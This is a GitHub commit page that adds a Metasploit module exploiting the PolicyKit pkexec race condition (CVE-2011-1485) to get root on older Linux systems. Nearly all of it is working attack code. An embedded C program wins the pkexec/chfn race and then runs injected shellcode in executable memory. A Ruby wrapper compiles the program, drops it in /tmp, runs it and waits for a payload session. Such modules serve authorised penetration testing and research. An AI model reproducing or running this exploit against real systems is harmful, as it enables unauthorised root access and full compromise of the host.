Skip to content

Commit d5b698b

Browse files
committed
Land rapid7#3944, pkexec exploit
2 parents ce40c11 + e689a06 commit d5b698b

File tree

1 file changed

+354
-0
lines changed

1 file changed

+354
-0
lines changed
Lines changed: 354 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,354 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit4 < Msf::Exploit::Local
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::EXE
10+
include Msf::Post::File
11+
12+
include Msf::Exploit::Local::Linux
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Linux PolicyKit Race Condition Privilege Escalation',
17+
'Description' => %q(
18+
A race condition flaw was found in the PolicyKit pkexec utility and polkitd
19+
daemon. A local user could use this flaw to appear as a privileged user to
20+
pkexec, allowing them to execute arbitrary commands as root by running
21+
those commands with pkexec.
22+
23+
Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
24+
libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
25+
(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
26+
),
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'xi4oyu', # exploit
31+
'0a29406d9794e4f9b30b3c5d6702c708' # metasploit module
32+
],
33+
'Platform' => [ 'linux'],
34+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
35+
'SessionTypes' => [ 'shell', 'meterpreter' ],
36+
'Targets' =>
37+
[
38+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
39+
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ]
40+
],
41+
'DefaultTarget' => 0,
42+
'References' =>
43+
[
44+
[ 'CVE', '2011-1485' ],
45+
[ 'EDB', '17942' ],
46+
[ 'OSVDB', '72261' ]
47+
],
48+
'DisclosureDate' => "Apr 01 2011"
49+
))
50+
register_options([
51+
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
52+
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
53+
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
54+
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
55+
])
56+
end
57+
58+
def executable_path
59+
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
60+
@executable_path
61+
end
62+
63+
def exploit
64+
main = %q^
65+
/*
66+
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
67+
* Author: xi4oyu
68+
* Tested on: rhel 6
69+
* CVE : 2011-1485
70+
* Linux pkexec exploit by xi4oyu , thx [email protected] * Have fun~
71+
* U can reach us @ http://www.wooyun.org :)
72+
* 0a2940: some changes
73+
*/
74+
/*
75+
#include <stdio.h>
76+
#include <limits.h>
77+
#include <time.h>
78+
#include <unistd.h>
79+
#include <termios.h>
80+
#include <sys/stat.h>
81+
#include <errno.h>
82+
#include <poll.h>
83+
#include <sys/types.h>
84+
#include <stdlib.h>
85+
#include <string.h>
86+
*/
87+
88+
#define dprintf
89+
90+
#define NULL ((void*)0)
91+
92+
#define MAP_PRIVATE 0x02
93+
#define MAP_FIXED 0x10
94+
#define MAP_ANONYMOUS 0x20
95+
#define MAP_ANON MAP_ANONYMOUS
96+
#define MAP_FAILED ((void *)-1)
97+
98+
#define PROT_READ 0x1
99+
#define PROT_WRITE 0x2
100+
#define PROT_EXEC 0x4
101+
102+
#define O_CREAT 64
103+
#define O_RDWR 2
104+
105+
#define POLLRDNORM 0x0040
106+
107+
typedef int __pid_t;
108+
typedef int __time_t;
109+
typedef
110+
struct {
111+
long __val[2];
112+
} __quad_t;
113+
typedef __quad_t __dev_t;
114+
typedef long __ino_t;
115+
typedef unsigned long __mode_t;
116+
typedef long __nlink_t;
117+
typedef unsigned int __uid_t;
118+
typedef unsigned int __gid_t;
119+
typedef long long __off_t;
120+
typedef long __blksize_t;
121+
typedef long long __blkcnt_t;
122+
struct _stat_buff {
123+
__dev_t st_dev; /* Device. */
124+
unsigned short int __pad1;
125+
__ino_t st_ino; /* File serial number. */
126+
__mode_t st_mode; /* File mode. */
127+
__nlink_t st_nlink; /* Link count. */
128+
__uid_t st_uid; /* User ID of the file's owner. */
129+
__gid_t st_gid; /* Group ID of the file's group.*/
130+
__dev_t st_rdev; /* Device number, if device. */
131+
unsigned short int __pad2;
132+
__off_t st_size; /* Size of file, in bytes. */
133+
__blksize_t st_blksize; /* Optimal block size for I/O. */
134+
__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
135+
__time_t st_atime; /* Time of last access. */
136+
unsigned long int st_atimensec; /* Nscecs of last access. */
137+
__time_t st_mtime; /* Time of last modification. */
138+
unsigned long int st_mtimensec; /* Nsecs of last modification. */
139+
__time_t st_ctime; /* Time of last status change. */
140+
unsigned long int st_ctimensec; /* Nsecs of last status change. */
141+
unsigned long int __unused4;
142+
unsigned long int __unused5;
143+
};
144+
145+
struct _pollfd {
146+
int fd; /* file descriptor */
147+
short events; /* requested events */
148+
short revents; /* returned events */
149+
};
150+
typedef unsigned long size_t;
151+
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
152+
extern int mprotect(void *__addr, size_t __len, int __prot);
153+
extern void exit(int __status);
154+
extern int printf(const char *__format, ...);
155+
extern __pid_t fork(void);
156+
extern __time_t time(__time_t *t);
157+
extern __pid_t getpid(void);
158+
extern __uid_t geteuid(void);
159+
extern void srand(unsigned int seed);
160+
extern int snprintf(char *str, size_t size, const char *format, ...);
161+
extern int pipe(int pipefd[2]);
162+
extern int close(int fd);
163+
extern void write(int fd, const void *buf, size_t count);
164+
extern int dup2(int oldfd, int newfd);
165+
extern void perror(const char *__s);
166+
extern void read(int fd, void *buf, size_t count);
167+
extern int execve(const char *filename, char *const argv[], char *const envp);
168+
extern int usleep(int usec);
169+
extern void *memset(void *s, int c, size_t n);
170+
extern void *memcpy(void * dst, const void *src, size_t n);
171+
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
172+
extern char *strstr(const char *haystack, const char *needle);
173+
extern int rand(void);
174+
extern int unlink(const char *__name);
175+
176+
int main(int argc,char *argv[], char ** envp)
177+
{
178+
179+
__time_t tim_seed1;
180+
__pid_t pid_seed2;
181+
int result;
182+
struct _stat_buff stat_buff;
183+
184+
char * chfn_path = "/usr/bin/chfn";
185+
char * cmd_path = "";
186+
187+
char * pkexec_argv[] = {
188+
"/usr/bin/pkexec",
189+
"/bin/sh",
190+
"-c",
191+
cmd_path,
192+
NULL
193+
};
194+
int pipe1[2];
195+
int pipe2[2];
196+
int pipe3[2];
197+
__pid_t pid,pid2 ;
198+
char * chfn_argv[] = {
199+
"/usr/bin/chfn",
200+
NULL
201+
};
202+
203+
char buff[8];
204+
char read_buff[4096];
205+
char real_path[512];
206+
207+
int count = 0;
208+
int flag = 0;
209+
unsigned int usleep1 = 0;
210+
unsigned int usleep2 = 0;
211+
212+
tim_seed1 = time(NULL);
213+
pid_seed2 = getpid();
214+
srand(tim_seed1+pid_seed2);
215+
216+
if(!geteuid()){
217+
218+
unlink(cmd_path);
219+
220+
SHELLCODE
221+
222+
int shellcode_size = 0;
223+
int i;
224+
unsigned long (*func)();
225+
func = mmap(NULL, 0x1000,
226+
PROT_READ | PROT_WRITE | PROT_EXEC,
227+
MAP_PRIVATE | MAP_ANONYMOUS,
228+
0, 0
229+
);
230+
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
231+
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
232+
//for (i = 0; i < shellcode_size; i++) {
233+
//(char)func[i] = (char)shellcode[i];
234+
memcpy(func,shellcode,shellcode_size);
235+
//}
236+
dprintf("Forking before calling shellcode: 0x%p\n", func);
237+
if (fork()) {
238+
exit(0);
239+
}
240+
func();
241+
}
242+
243+
if(pipe(pipe1)){
244+
perror("pipe");
245+
exit(-2);
246+
}
247+
248+
for(count = COUNT; count && !flag; count--){
249+
dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
250+
pid = fork();
251+
if( !pid ){
252+
// Parent
253+
if( !pipe(pipe2)){
254+
if(!pipe(pipe3)){
255+
pid2 = fork();
256+
if(!pid2){
257+
// Parent 2
258+
close(1);
259+
close(2);
260+
close(pipe1[0]);
261+
dup2(pipe1[1],2);
262+
dup2(pipe1[1],1);
263+
close(pipe1[1]);
264+
close(pipe2[0]);
265+
close(pipe3[1]);
266+
write(pipe2[1],"\xFF",1);
267+
read(pipe3[0],&buff,1);
268+
execve(pkexec_argv[0],pkexec_argv,envp);
269+
perror("execve pkexec");
270+
exit(-3);
271+
}
272+
close(0);
273+
close(1);
274+
close(2);
275+
close(pipe2[1]);
276+
close(pipe3[0]);
277+
read(pipe2[0],&buff,1);
278+
write(pipe3[1],"\xFF",1);
279+
usleep(usleep1+usleep2);
280+
execve(chfn_argv[0],chfn_argv,envp);
281+
perror("execve setuid");
282+
exit(1);
283+
}
284+
}
285+
perror("pipe3");
286+
exit(1);
287+
}
288+
289+
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
290+
memset(pipe3,0,8);
291+
292+
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
293+
pollfd->fd = pipe1[0];
294+
pollfd->events = POLLRDNORM;
295+
296+
if(poll(pollfd,1,1000) < 0){
297+
perror("poll");
298+
exit(1);
299+
}
300+
301+
if(pollfd->revents & POLLRDNORM ){
302+
memset(read_buff,0,4096);
303+
read(pipe1[0],read_buff,4095);
304+
if( strstr(read_buff,"does not match")){
305+
usleep1 += 100;
306+
usleep2 = rand() % 1000;
307+
}else{
308+
if(usleep1 > 0){
309+
usleep1 -= 100;
310+
}
311+
}
312+
}
313+
}
314+
result = 0;
315+
unlink(cmd_path);
316+
return result;
317+
}
318+
319+
^
320+
main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
321+
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
322+
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
323+
main.gsub!(/COUNT/, datastore["Count"].to_s)
324+
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
325+
326+
cpu = nil
327+
if target['Arch'] == ARCH_X86
328+
cpu = Metasm::Ia32.new
329+
elsif target['Arch'] == ARCH_X86_64
330+
cpu = Metasm::X86_64.new
331+
end
332+
333+
begin
334+
elf = Metasm::ELF.compile_c(cpu, main).encode_string
335+
rescue
336+
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
337+
elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
338+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
339+
return
340+
end
341+
342+
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
343+
rm_f executable_path
344+
write_file(executable_path, elf)
345+
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
346+
output.each_line { |line| print_debug line.chomp }
347+
348+
stime = Time.now.to_f
349+
print_status "Starting the payload handler..."
350+
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
351+
Rex.sleep(1)
352+
end
353+
end
354+
end

0 commit comments

Comments
 (0)